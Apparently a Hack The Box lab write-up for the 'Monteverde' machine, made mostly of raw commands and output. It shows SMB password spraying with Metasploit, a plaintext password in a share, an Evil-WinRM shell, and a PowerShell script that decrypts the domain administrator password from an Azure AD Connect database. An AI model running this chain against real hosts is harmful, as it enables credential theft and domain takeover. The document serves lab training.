

# monteverde

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(root@kali)-[/Documents/htb/boxes/monteverde]
# nmap -Pn -sV -sC 10.10.10.172
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-27 19:57 EDT
Nmap scan report for 10.10.10.172
Host is up (0.062s latency).
Not shown: 989 filtered ports
PORT      STATE SERVICE          VERSION
53/tcp    open  domain           Simple DNS Plus
88/tcp    open  kerberos-sec     Microsoft Windows Kerberos (server time: 2021-05-28 00:01:36Z)
135/tcp   open  msrpc            Microsoft Windows RPC
139/tcp   open  netbios-ssn     Microsoft Windows netbios-ssn
389/tcp   open  ldap             Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http       Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap             Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
Service Info: Host: MONTEVERDE; OS: Windows; CPE: cpe:/o:microsoft:windows
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Host script results:
_clock-skew: 3m56s
_smb2-security-mode:
  2.02:
    Message signing enabled and required
_smb2-time:
  date: 2021-05-28T00:01:40
  start_date: N/A
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(root@kali)-[/Documents/htb/boxes/monteverde]
# enum4linux 10.10.10.172 > enum-users.txt
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(root@kali)-[/Documents/htb/boxes/monteverde]
# cat enum-users.txt | grep user: | cut -d " " -f 1 | cut -d ":" -f 2 | cut -d "[" -f 2 | cut -d "]" -f 1 | tee users.txt
Guest
AAD_987d7f2f57d2
mhope
SABatchJobs
svc-ata
svc-bexec
svc-netapp
dgalanos
roleary
smorgan
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msf6 > use scanner/smb/smb_login
msf6 auxiliary(scanner/smb/smb_login) > set user_as_pass true
user_as_pass => true
msf6 auxiliary(scanner/smb/smb_login) > set USER
set USERPASS_FILE set USER_AS_PASS set USER_FILE
msf6 auxiliary(scanner/smb/smb_login) > set USER_file users.txt
USER_file => users.txt
msf6 auxiliary(scanner/smb/smb_login) > set rhosts 10.10.10.172
rhosts => 10.10.10.172
msf6 auxiliary(scanner/smb/smb_login) > run
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[*] 10.10.10.172:445 - 10.10.10.172:445 - Starting SMB login bruteforce
[-] 10.10.10.172:445 - 10.10.10.172:445 - Failed: '.\Guest:Guest',
[!] 10.10.10.172:445 - No active DB -- Credential data will not be saved!
[-] 10.10.10.172:445 - 10.10.10.172:445 - Failed: '.\AAD_987d7f2f57d2:AAD_987d7f2f57d2',
[-] 10.10.10.172:445 - 10.10.10.172:445 - Failed: '.\mhope:mhope',
[+] 10.10.10.172:445 - 10.10.10.172:445 - Success: '.\SABatchJobs:SABatchJobs'
[-] 10.10.10.172:445 - 10.10.10.172:445 - Failed: '.\svc-ata:svc-ata',
[-] 10.10.10.172:445 - 10.10.10.172:445 - Failed: '.\svc-bexec:svc-bexec',
[-] 10.10.10.172:445 - 10.10.10.172:445 - Failed: '.\svc-netapp:svc-netapp',
[-] 10.10.10.172:445 - 10.10.10.172:445 - Failed: '.\dgalanos:dgalanos',
[-] 10.10.10.172:445 - 10.10.10.172:445 - Failed: '.\roleary:roleary',
[-] 10.10.10.172:445 - 10.10.10.172:445 - Failed: '.\smorgan:smorgan',
[*] 10.10.10.172:445 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
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(root@kali)-[/Documents/htb/boxes/monteverde]
# smbmap -u SABatchJobs -p SABatchJobs -H 10.10.10.172
[+] IP: 10.10.10.172:445 Name: 10.10.10.172
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Disk	Permissions	Comment
ADMIN\$	NO ACCESS	Remote Admin
azure_uploads	READ ONLY	
C\$	NO ACCESS	Default share
E\$	NO ACCESS	Default share
IPC\$	READ ONLY	Remote IPC
NETLOGON	READ ONLY	Logon server share
SYSVOL	READ ONLY	Logon server share
users\$	READ ONLY	

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(root@kali)-[/Documents/htb/boxes/monteverde]
# smbclient \\\10.10.10.172\users$ -U SABatchJobs
Enter WORKGROUP\SABatchJobs's password:
Try "help" to get a list of possible commands.
smb: \> recurse
smb: \> prompt
smb: \> ls
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File	Permissions	Size	Time	Comment
.	D	0	Fri Jan 3 08:12:48 2020	
..	D	0	Fri Jan 3 08:12:48 2020	
dgalanos	D	0	Fri Jan 3 08:12:30 2020	
mhope	D	0	Fri Jan 3 08:41:18 2020	
roleary	D	0	Fri Jan 3 08:10:30 2020	
smorgan	D	0	Fri Jan 3 08:10:24 2020	

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\dgalanos
.
..
\mhope
.
..
azure.xml
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File	Permissions	Size	Time	Comment
.	D	0	Fri Jan 3 08:41:18 2020	
..	D	0	Fri Jan 3 08:41:18 2020	
azure.xml	AR	1212	Fri Jan 3 08:40:23 2020	

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\roleary
.
..
\smorgan
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..
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File	Permissions	Size	Time	Comment
.	D	0	Fri Jan 3 08:10:30 2020	
..	D	0	Fri Jan 3 08:10:30 2020	
ADMIN\$				
azure_uploads	D	0	Fri Jan 3 08:10:30 2020	
C\$	D	0	Fri Jan 3 08:10:30 2020	
E\$				
IPC\$				
NETLOGON	D	0	Fri Jan 3 08:10:24 2020	
SYSVOL	D	0	Fri Jan 3 08:10:24 2020	
users\$				

309503 blocks of size 4096. 304926 blocks available

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(root@kali)-[/Documents/htb/boxes/monteverde]
# ls
enum-users.txt 'mhope\azure.xml' monteverde.ctb monteverde.ctb~1 monteverde.ctb~2 monteverde.ctb~3 monteverde.ctb~4 users.txt

(root@kali)-[/Documents/htb/boxes/monteverde]
# cat mhope\azure.xml
<?xml Version="1.1.0.1" xmlns=http://schemas.microsoft.com/powershell/2004/04">
  <Obj RefId="0">
    <TN RefId="0">
      <T>Microsoft.Azure.Commands.ActiveDirectory.PSADPasswordCredential</T>
      <T>System.Object</T>
    </TN>
    <ToString>Microsoft.Azure.Commands.ActiveDirectory.PSADPasswordCredential</ToString>
    <Props>
      <DT N="StartDate">2020-01-03T05:35:00.7562298-08:00</DT>
      <DT N="EndDate">2054-01-03T05:35:00.7562298-08:00</DT>
      <G N="KeyId">00000000-0000-0000-0000-000000000000</G>
      <S N="Password">4n0therD4y@n0th3r$</S>
    </Props>
  </Obj>
</Objs>

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mhope:4n0therD4y@n0th3r\$

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(root@kali)-[~/Downloads/evil-winrm]
# ./evil-winrm.rb -u mhope -p 4n0therD4y@n0th3r$ -i 10.10.10.172

Evil-WinRM shell v2.4

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\mhope\Documents> whoami
megabank\mhope
*Evil-WinRM* PS C:\Users\mhope\Documents> cd ..
*Evil-WinRM* PS C:\Users\mhope> cd Desktop
*Evil-WinRM* PS C:\Users\mhope\Desktop> type user.txt
4961976bd7d8f4eeb2ce3705e2f212f2

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\*Evil-WinRM\* PS C:\Users\mhope\Desktop> whoami /all

USER INFORMATION

User NameSID

megabank\mhopeS-1-5-21-391775091-850290835-3566037492-1601

GROUP INFORMATION

Group Name	Type	SID	Attributes
Everyone	Well-known group	S-1-1-0	Mandatory group, Enabled by default, Ena
bled group			
BUILTIN\Remote Management Users	Alias	S-1-5-32-580	Mandatory group, Enabled by default, Ena
bled group			
BUILTIN\Users	Alias	S-1-5-32-545	Mandatory group, Enabled by default, Ena
bled group			
BUILTIN\Pre-Windows 2000 Compatible Access	Alias	S-1-5-32-554	Mandatory group, Enabled by default, Ena
bled group			
NT AUTHORITY\NETWORK	Well-known group	S-1-5-2	Mandatory group, Enabled by default, Ena
bled group			
NT AUTHORITY\Authenticated Users	Well-known group	S-1-5-11	Mandatory group, Enabled by default, Ena
bled group			
NT AUTHORITY\This Organization	Well-known group	S-1-5-15	Mandatory group, Enabled by default, Ena
bled group			
MEGABANK\Azure Admins	Group	S-1-5-21-391775091-850290835-3566037492-2601	Mandatory group, Enabled by default, Ena
bled group			
NT AUTHORITY\NTLM Authentication	Well-known group	S-1-5-64-10	Mandatory group, Enabled by default, Ena
bled group			
Mandatory Label\Medium Plus Mandatory Level Label		S-1-16-8448	

PRIVILEGES INFORMATION

Privilege Name	Description	State
SeMachineAccountPrivilege	Add workstations to domain	Enabled
SeChangeNotifyPrivilege	Bypass traverse checking	Enabled
SeIncreaseWorkingSetPrivilege	Increase a process working set	Enabled

USER CLAIMS INFORMATION

User claims unknown.

Kerberos support for Dynamic Access Control on this device has been disabled.

Monteverde

502 Days

Reset Machine

Extend Time

Submit Flag

(Applications Information)

[+] Current Active Window Application

[X] Exception: Object reference not set to an instance of an object.

[+] Installed Applications --Via Program Files/Uninstall registry--

[?] Check if you can modify installed software <https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#software>

C:\Program Files\Common Files

C:\Program Files\desktop.ini

C:\Program Files\internet explorer

C:\Program Files\Microsoft Analysis Services

C:\Program Files\Microsoft Azure Active Directory Connect

C:\Program Files\Microsoft Azure Active Directory Connect Upgrader

C:\Program Files\Microsoft Azure AD Connect Health Sync Agent

C:\Program Files\Microsoft Azure AD Sync

C:\Program Files\Microsoft SQL Server

C:\Program Files\Microsoft Visual Studio 10.0

C:\Program Files\Microsoft.NET

C:\Program Files\PackageManagement

C:\Program Files\Uninstall Information

C:\Program Files\VMware

C:\Program Files\Windows Defender

C:\Program Files\Windows Defender Advanced Threat Protection

C:\Program Files\Windows Mail

C:\Program Files\Windows Media Player

C:\Program Files\Windows Multimedia Platform

C:\Program Files\windows nt

C:\Program Files\Windows Photo Viewer

C:\Program Files\Windows Portable Devices

C:\Program Files\Windows Security

C:\Program Files\Windows Sidebar

C:\Program Files\WindowsApps

C:\Program Files\WindowsPowerShell

sqlserver is running on localhost

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Protocol	Local Address	Local Port	Remote Address	Remote Port	State	Process ID	Process Name
TCP	0.0.0.0	88	0.0.0.0	0	Listening	616	lsass
TCP	0.0.0.0	135	0.0.0.0	0	Listening	884	svchost
TCP	0.0.0.0	389	0.0.0.0	0	Listening	616	lsass
TCP	0.0.0.0	445	0.0.0.0	0	Listening	4	System
TCP	0.0.0.0	464	0.0.0.0	0	Listening	616	lsass
TCP	0.0.0.0	593	0.0.0.0	0	Listening	884	svchost
TCP	0.0.0.0	636	0.0.0.0	0	Listening	616	lsass
TCP	0.0.0.0	1433	0.0.0.0	0	Listening	3276	sqlservr
TCP	0.0.0.0	3268	0.0.0.0	0	Listening	616	lsass

<https://blog.xpnsec.com/azuread-connect-for-redteam/>

Password Hash Synchronisation (PHS), which uploads user accounts and password hashes from Active Directory into Azure.

Azure AD Connect is able to retrieve data from Active Directory to forward it onto Azure AD.

when deploying the connector a new database is created on the host using SQL Server's LOCALDB.

The database supports the Azure AD Sync service by storing metadata and configuration data for the service.

Searching we can see a table named

mms\_management\_agent which contains a number of fields including private\_configuration\_xml. the password is omitted from the XML returned. The encrypted password is actually stored within another field,

encrypted\_configuration. Looking through the handling of this encrypted data within the connector service, we see a number of references to an assembly of C:\Program Files\Microsoft Azure AD Sync\Binn\mcrypt.dll which is responsible for key management and the decryption of this data.

To decrypt the encrypted\_configuration value I created a quick POC which will retrieve the keying material from the LocalDB instance before passing it to the mcrypt.dll assembly to decrypt

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*Evil-WinRM* PS C:\Users\mhope\Documents> $client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Server=localhost;Database=ADSync;Integrated Security=sspi"
*Evil-WinRM* PS C:\Users\mhope\Documents> $client.Open()
*Evil-WinRM* PS C:\Users\mhope\Documents> $cmd = $client.CreateCommand()
*Evil-WinRM* PS C:\Users\mhope\Documents> $cmd.CommandText = "SELECT keyset_id, instance_id, entropy FROM mms_server_configuration"
*Evil-WinRM* PS C:\Users\mhope\Documents> $reader = $cmd.ExecuteReader()
*Evil-WinRM* PS C:\Users\mhope\Documents> $reader.Read() | Out-Null
*Evil-WinRM* PS C:\Users\mhope\Documents> $key_id = $reader.GetInt32(0)
*Evil-WinRM* PS C:\Users\mhope\Documents> $instance_id = $reader.GetGuid(1)
*Evil-WinRM* PS C:\Users\mhope\Documents> $entropy = $reader.GetGuid(2)
*Evil-WinRM* PS C:\Users\mhope\Documents> $reader.Close()
*Evil-WinRM* PS C:\Users\mhope\Documents> $cmd = $client.CreateCommand()
*Evil-WinRM* PS C:\Users\mhope\Documents> $cmd.CommandText = "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE ma_type = 'AD'"
*Evil-WinRM* PS C:\Users\mhope\Documents> $reader = $cmd.ExecuteReader()
*Evil-WinRM* PS C:\Users\mhope\Documents> $reader.Read() | Out-Null
*Evil-WinRM* PS C:\Users\mhope\Documents> $config = $reader.GetString(0)
*Evil-WinRM* PS C:\Users\mhope\Documents> $crypt = $reader.GetString(1)
*Evil-WinRM* PS C:\Users\mhope\Documents> $reader.Close()
*Evil-WinRM* PS C:\Users\mhope\Documents> add-type -path 'C:\Program Files\Microsoft Azure AD Sync\Bin\mcrypt.dll'
*Evil-WinRM* PS C:\Users\mhope\Documents> $km = New-Object -TypeName Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager
*Evil-WinRM* PS C:\Users\mhope\Documents> $key = $null
*Evil-WinRM* PS C:\Users\mhope\Documents> $km.GetActiveCredentialKey([ref]$key)
*Evil-WinRM* PS C:\Users\mhope\Documents> $key2 = $null
*Evil-WinRM* PS C:\Users\mhope\Documents> $km.GetKey(1, [ref]$key2)
*Evil-WinRM* PS C:\Users\mhope\Documents> $decrypted = $null
*Evil-WinRM* PS C:\Users\mhope\Documents> $key2.DecryptBase64ToString($crypt, [ref]$decrypted)
*Evil-WinRM* PS C:\Users\mhope\Documents> $domain = select-xml -Content $config -XPath "//parameter[@name='forest-login-domain']" | select @{Name = 'Domain'; Expression = {$_.node.InnerXML}}
*Evil-WinRM* PS C:\Users\mhope\Documents> $username = select-xml -Content $config -XPath "//parameter[@name='forest-login-user']" | select @{Name = 'Username'; Expression = {$_.node.InnerXML}}
*Evil-WinRM* PS C:\Users\mhope\Documents> $password = select-xml -Content $decrypted -XPath "//attribute" | select @{Name = 'Password'; Expression = {$_.node.InnerText}}
*Evil-WinRM* PS C:\Users\mhope\Documents> Write-Host ("Domain: " + $domain.Domain)
Domain: MEGABANK.LOCAL
*Evil-WinRM* PS C:\Users\mhope\Documents> Write-Host ("Username: " + $username.Username)
Username: administrator
*Evil-WinRM* PS C:\Users\mhope\Documents> Write-Host ("Password: " + $password.Password)
Password: d0m@in4dminyeh!

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# administrator:d0m@in4dminyeh!

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(rootkali)-[~/Downloads]
# /root/Downloads/evil-winrm/./evil-winrm.rb -u administrator -p d0m@in4dminyeh! -i 10.10.10.172

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Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
megabank\administrator
*Evil-WinRM* PS C:\Users\Administrator\Documents> cd ../Desktop
*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
12909612d25c8dcf6e5a07d1a804a0bc
*Evil-WinRM* PS C:\Users\Administrator\Desktop>

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